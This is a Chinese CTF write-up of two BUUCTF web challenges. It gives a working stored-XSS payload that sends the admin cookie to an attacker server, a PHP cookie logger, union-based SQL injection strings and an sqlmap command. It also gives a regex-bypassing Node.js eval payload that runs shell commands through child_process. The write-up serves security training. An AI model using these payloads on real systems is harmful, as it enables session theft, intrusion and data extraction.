9.26 Buu俩题解

[CISCN2019 华东北赛区]Web2

看wp写完之后写的

知识点
  • 存储型XSS与过滤绕过
  • sql注入
题解

好几个页面,存在登录框可以注册,存在管理员页面(admin.php)

->既然存在管理员页面,且直接访问admin.php提示我们

在这里插入图片描述

说明存在身份验证,我能够想到的只有Cookie和Session验证,那应该就是获取或者伪造了

->伪造:没有发现jwt格式或类似的数据,

->获取:能够想到的只有xss

根据投稿页面提示信息,更加明确就是xss了

在这里插入图片描述

也就是说,这里上传XSSpayload,然后去反馈页面,将上传到的网址提交一下,管理员会去访问 -> 从而获取管理员身份信息

-> 需要公网IP,存在Http服务

在这里插入图片描述

过滤了,将() -> (),看wp了,根本不会绕过 编码网址

1.在服务器网站下创建一个php文件,用来之后管理员的访问 -> 从而获取管理员Cookie

<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");    # a模式是追加模式(在文件末尾添加内容)fwrite($log,$time.':    '. $cookie . "\n");fclose($log);
?>

这个php文件需要一个Get参数 -> 当我们传入document.cookie时,会获取自己访问该网站的Cookie

写入cookie.txt文件中

# Xsspayload
in_str = "(function(){location.href='http://IP/127.php?cookie='+document.cookie})();"output = ""# 绕过waf部分
for c in in_str:output += "&#" + str(ord(c))print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

可能有点乱,先后顺序过一遍

1.上传XssPayload -> 获取上传的网址

在这里插入图片描述

先别管waf部分,看in_str的内容 -> function(){}() js语言这个函数会自动调用, location.href 跳转命令

后面是 跳转到公网IP的php文件url,参数是cookie,值是document.cookie用来获取管理员Cookie值

上传的url:4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html
这里要看一眼题目介绍,要将前面的改成web.node5.buuoj.cn

2.然后在反馈的地方输入url,让管理员去检查 -> 从而触发跳转 之后一系列 -> 致使管理员Cookie写入到cookie.txt文件中

这个验证码,写一个py脚本就行了,我直接复制的wp中的

import hashlibdef func(md5_val):for x in range(999999, 100000000):x = str(x).encode('UTF-8')md5_value = hashlib.md5(x).hexdigest()if md5_value[:6] == md5_val:return str(x)if __name__ == '__main__':print(func('277f26'))

3.获取Cookie之后访问admin.php之后的每一步,都要抓包修改Cookie或者其他修改Cookie的方式都可以

在这里插入图片描述

之后就是sql注入了[ 整数闭合注入 ] -> 唯一的一点就是每一次都要修改Cookie, 在Bp中直接发送的话, 又因为Get参数编码的问题,

->可以使用Postman

-2 union select 1,2,3#-2 union select 1,database(),user()#-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#-2 union select 1,2,group_concat(flagg) from flag#

或者用sqlmap跑,指定一下Cookie参数

sqlmap -u 'http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id=1' --cookie='PHPSESSID=6acc57b9d1aa6f6e94a23ea4286a182e' -D "ciscn" -T "flag" --dump --batch

另外说一下,我看那个Xsspayload编码绕过,估计是通用的哎,只要将明文改一下,就跟着编码了( 我的payload用的是公网的,Wp中是Xss平台,不一样的,但是编码部分我没改,也能过)

wp

[NPUCTF2020]验证🐎

知识点
  • nodejs下的md5绕过
  • Nodejs下的RCE
题解

给出了源码, 主要看两部分

function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {if (req.body.e) {try {result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';# 来到这里, 进入safeEval函数, 绕过正则表达式, 执行eval函数}

Part1:满足if

nodejs中有类似于PHP的弱类型比较

在这里插入图片描述

在nodejs中数值类型没有长度,length只是一个属性

在这里插入图片描述

nodejs中任何数据类型与string类型相加时,都会强制转换为字符串类型

在这里插入图片描述

之前没写过nodejs代码,跟着练练

const crypto = require('crypto')var key = "abc"
var a1 = '1' + key[0]
var b1 = [1] + key[0]console.log(a1) # 1a
console.log(b1) # 1aconst hashA = crypto.createHash('md5')
hashA.update(a1)
const a = hashA.digest('hex')
console.log(a) # efaa153b0f682ae5170a3184fa0df28cconst hashB = crypto.createHash('md5')
hashB.update(b1)
const b = hashB.digest('hex')
console.log(b) # efaa153b0f682ae5170a3184fa0df28c

故Payload1:{“e”:paylod,“first”:[1],“second”:“1”}

Part2:绕过正则

第一步 - 分析正则:

我看不太懂,有些有特定的含义,一部分一部分复制到regx101中试试

/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g

1.(?:Math(?:\.\w+)?):匹配以Math.[0-9a-zA-Z_]

2.[()+\-*/&|^%<>=,?:]:这里是匹配其中任一的符号

3.(?:\d+\.?\d*(?:e\d+)?):数字 加 点 加数字 加e 加数字,在reg中试吧

4 :匹配空格

后面就是如何在绕过正则的基础上构造Poc - -包不会的,看wp

首先箭头函数

在这里插入图片描述

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)

上面这个js代码,我不知道是在干嘛,不清楚,但是能看到 construcor加上wp的说明,感觉是找到Function这个原型

个人理解:Math也是一个对象[满足正则] -> 找到Function原型 -> 从而调用命令函数

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')")) )() )(Math+1)
#Exp.py
import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda code: "".join(map(chr,code)) 
a=f""" 
(m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) 
""" 
print(a+'\n') 
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") 
print(a)
#需要json格式发送 --- 使用python发送requests请求import requestsurl = 'http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/'
json = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[1],"second":'1'}res = requests.post(url=url, json=json)
print(res.text)
参考

wp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/434019.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安全教育培训小程序系统开发制作方案

安全教育培训小程序系统是为了提高公众的安全意识&#xff0c;普及安全知识&#xff0c;通过微信小程序的方式提供安全教育培训服务&#xff0c;帮助用户了解并掌握必要的安全防范措施。 一、目标用户 企业员工&#xff1a;各岗位员工&#xff0c;特别是IT部门、财务、行政等对…

你们猜!吊打Oracle的国产数据库有哪几家?

今天闲暇之余看到某vx群聊得很火热&#xff0c;这个群聚集了国内不少数据库大咖&#xff0c;其中大家聊到国产数据库遥遥领先了。 最开始主要是一个朋友提到目前很多企业拍板的人并不懂数据库&#xff0c;甚至很多知名数据库都没听过。 然后大家就开始聊到国产数据库了&#xf…

《微信小程序实战(4) · 地图导航功能》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…

Python(六)-拆包,交换变量名,lambda

目录 拆包 交换变量值 引用 lambda函数 lambda实例 字典的lambda 推导式 列表推导式 列表推导式if条件判断 for循环嵌套列表推导式 字典推导式 集合推导式 拆包 看一下在Python程序中的拆包&#xff1a;把组合形成的元组形式的数据&#xff0c;拆分出单个元素内容…

电商大变革!TikTok携手亚马逊重塑购物边界,开启海外即看即买新篇章

在电商界&#xff0c;亚马逊还是一众电商平台难以超越的存在。据外媒报道&#xff0c;最新预测显示&#xff0c;预计到2024年底&#xff0c;亚马逊全球将拥有970万卖家&#xff0c;活跃卖家将达到190万。 TikTok携手亚马逊重塑购物边界&#xff0c;开启海外即看即买新篇章 在数…

RK3568 android11 适配鼎桥MT5710-CN 5G模块

一,概述 鼎桥MT571X设备和Android系统主要通过USB接口进行数据通信,Android系统上的Linux内核需要根据鼎桥模块设备上报的USB设备接口加载USB驱动,USB驱动正确加载后,鼎桥模块才能正常工作。 Android系统中支持鼎桥模块设备相关的Linux内核驱动架构,如下图所示: 在Lin…

动手学深度学习(李沐)PyTorch 第 4 章 多层感知机

4.1 多层感知机 隐藏层 我们在 3.1.1.1节中描述了仿射变换&#xff0c; 它是一种带有偏置项的线性变换。 首先&#xff0c;回想一下如 图3.4.1中所示的softmax回归的模型架构。 该模型通过单个仿射变换将我们的输入直接映射到输出&#xff0c;然后进行softmax操作。 如果我们…

21天全面掌握:小白如何高效学习AI绘画SD和MJ,StableDiffusion零基础入门到精通教程!快速学习AI绘画指南!

‍‍大家好&#xff0c;我是画画的小强。 今天给大家分享一些我长期以来总结的AI绘画教程和各种AI绘画工具、模型插件&#xff0c;还包含有视频教程 AI工具&#xff0c;免费送&#x1f447;&#x1f447;‍‍ 这份完整版的AI绘画全套学习资料已经上传CSDN&#xff0c;朋友们如…

Word:表格公式计算

一、求和公式 以下演示是在windows操作系统环境&#xff0c;office软件进行操作的 SUM(LEFT) 全部步骤图如下&#xff1a; 步骤一 光标置于单元格&#xff0c;依次单击【表格工具-布局】→【数据】→【公式】 步骤二 在【公式】一栏中&#xff0c;默认的是“SUM(LEFT)”求和…

AI产品经理学习路径:从零基础到精通,从此篇开始!

一、AI产品经理和和通用型产品经理的异同&#xff1a; 市面上不同的公司对产品经理的定位有很大的差别&#xff0c;一名合格的产品经理是能对软件产品整个生命周期负责的人。 思考框架相同&#xff1a; AI产品经理和通用型软件产品经理的底层思考框架是一样的&#xff0c;都是…

叉车高位显示器无线摄影,安装更加便捷!

叉车叉货&#xff0c;基本功能&#xff0c;但货叉升降高度确不一定&#xff0c;普通的3米左右&#xff0c;高的十几米&#xff0c;特别是仓储车&#xff0c;仓库叉货空间小&#xff0c;环境昏暗&#xff0c;视线受阻严重&#xff0c;司机叉货升的那么高怎么准确无误的插到货呢&…

【Mysql】Mysql数据库基本操作-------DDL(上)

1、DDL解释 DDL&#xff08;Data Definition Language&#xff09;&#xff0c;数据定义语言&#xff0c;该语言部分包括以下内容&#xff0c; &#xff08;1&#xff09;对数据库的常用操作 &#xff08;2&#xff09;对表结构的常用操作 &#xff08;3&#xff09;修…

详解位示图计算方法、代码

位示图 位示图的核心思想计算过程与位操作假设问题场景&#xff1a; 实际操作与计算&#xff1a;1. 位示图的初始化2. 设置某一位&#xff08;标记资源占用&#xff09;3. 清除某一位&#xff08;释放资源&#xff09;4. 查询某一位&#xff08;检查资源状态&#xff09; 示例问…

SpringBoot文档管理系统:架构与功能

第2章相关技术 2.1 Java技术介绍 Java语言擅长开发互联网类应用和企业级应用&#xff0c;现在已经相当的成熟&#xff0c;而且也是目前使用最多的编程语言之一。Java语言具有很好的面向对象性&#xff0c;可以符合人的思维模式进行设计&#xff0c;封装是将对象的属性和方法尽可…

Ansible流程控制-条件_循环_错误处理_包含导入_块异常处理

文章目录 Ansible流程控制介绍1. 条件判断2. 循环3. 循环控制4. 错误处理5. 包含和导入6. 块和异常处理7. 角色的流程控制*include_tasks、import_tasks_include之间的区别 条件语句再细说且、或、非、是模糊条件when指令的详细使用方法 循环语句再细说如何使用使用item变量结合…

SpringBoot集成Redis及SpringCache缓存管理

1.集成Redis 1.导入依赖 <!--spirngboot springdata对redis支持--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId> </dependency> 2.配置信息 #数据源配置…

08-Registry搭建docker私仓

08-Registry搭建docker私仓 Docker Registry Docker Registry是官方提供的工具&#xff0c;用于构建私有镜像仓库。 环境搭建 Docker Registry也是Docker Hub提供的一个镜像&#xff0c;可以直接拉取运行。 步骤&#xff1a; 拉取镜像 docker pull registry启动Docker R…

Doris安装部署指南

Doris安装部署指南 一、环境准备二、下载并解压安装包三、配置FE和BEFE配置BE配置四、验证集群状态五、集群扩容与缩容六、总结Apache Doris(原百度Palo)是一款基于MPP架构的高性能、实时的分析型数据库。它支持标准SQL,高度兼容MySQL协议,能够运行在绝大多数主流的商用服务…

1.1.5 计算机网络的性能指标(下)

时延&#xff1a; 指数据从网络的一端传送到另一端所需的时间。有时候也称为延迟或迟延。 总时延发送时延传播时延处理时延排队时延 发送时延&#xff1a; 又名传输时延&#xff0c;节点将数据推向信道所花的时间 数据长度/发送速率 传播时延&#xff1a; 电磁波在信道…

20.指针相关知识点1

指针相关知识点1 1.定义一个指针变量指向数组2.指针偏移遍历数组3.指针偏移的补充4.指针和数组名的见怪不怪5.函数、指针、数组的结合 1.定义一个指针变量指向数组 指向数组首元素的地址 指向数组起始位置&#xff1a;等于数组名 #include <stdio.h>int main(){int ar…